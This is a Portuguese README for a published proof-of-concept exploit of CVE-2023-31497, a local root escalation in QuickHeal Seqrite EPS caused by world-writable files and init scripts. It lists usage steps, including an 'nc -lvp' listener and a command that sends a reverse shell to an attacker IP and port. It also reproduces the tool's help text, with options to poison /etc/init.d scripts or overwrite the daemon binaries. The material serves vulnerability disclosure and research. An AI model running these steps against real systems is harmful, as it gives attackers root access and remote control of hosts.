
Exploit para vulnerabilidade de elevação de privilégio no Seqrite EPS da QuickHeal (CVE-2023-31497).
Uma vulnerabilidade de elevação de privilégio no Seqrite Enterprise Endpoint Security Solution (EPS) da QuickHeal. A vulnerabilidade recebeu o ID CVE CVE-2023-31497.
O Seqrite endpoint security, com sua instalação padrão, instala-se em /usr/lib/Seqrite/ com permissões de diretório e arquivo muito fracas, concedendo a um usuário local permissão total de leitura/escrita ao conteúdo do diretório. Além disso, o procedimento de instalação instala seus scripts de inicialização em /etc/init.d/, que são graváveis por qualquer usuário. Isso permite que qualquer usuário de baixo privilégio no sistema eleve privilégios para root.
O exploit utiliza 2 vulnerabilidades diferentes introduzidas pelo software para elevar privilégios no sistema. Primeiro, o fato de o aplicativo usar scripts em /etc/init.d/ para iniciar seus processos de verificação, que podem ser editados por qualquer usuário. Segundo, o aplicativo usa objetos compartilhados para carregar dinamicamente código independente de posição (PIC) durante a execução. Na verdade, todos os arquivos de objetos compartilhados executáveis são graváveis por qualquer usuário. Por último, os binários do aplicativo usados para o processo daemon são graváveis por qualquer usuário, o que basicamente significa que qualquer usuário não privilegiado poderia sobrescrever os binários do scanner com um binário de shell reverso para executar código arbitrário como root.
O exploit é um simples arquivo Python que auxilia na exploração da vulnerabilidade.
Passos:
nc -lvp <porta>) ou metasploit (multi/handler).epscalate.py e shellcode.c para o sistema alvo.python3 epscalate.py -H 192.168.0.103:9999 -I).Ajuda do exploit:
$ python epscalate.py -h
EPSCALATE - PoC para privesc no Seqrite EPS
~ 0xInfection
uso: epscalate.py -H <host>:<porta> <flag_de_técnica>
opções:
-h, --help mostra esta mensagem de ajuda e sai
-H HOSTPORT, --hostport HOSTPORT
O IP e a porta da máquina do atacante em escuta no formato <ip>:<porta>
-B, --daemon-binaries
Sobrescreve os binários principais do daemon para elevar privilégios.
-I, --initd-scripts Envenena scripts de inicialização bash do /etc/init.d/ com um shell reverso para elevar privilégios.
O exploit foi testado em todas as variantes dos sistemas operacionais baseados em Debian e Ubuntu.
O código do exploit foi publicado sob a Licença Apache 2.0. A vulnerabilidade foi divulgada ao fornecedor e foi corrigida no momento da publicação da vulnerabilidade.
Créditos da vulnerabilidade e do exploit: Pinaki Mondal (0xInfection).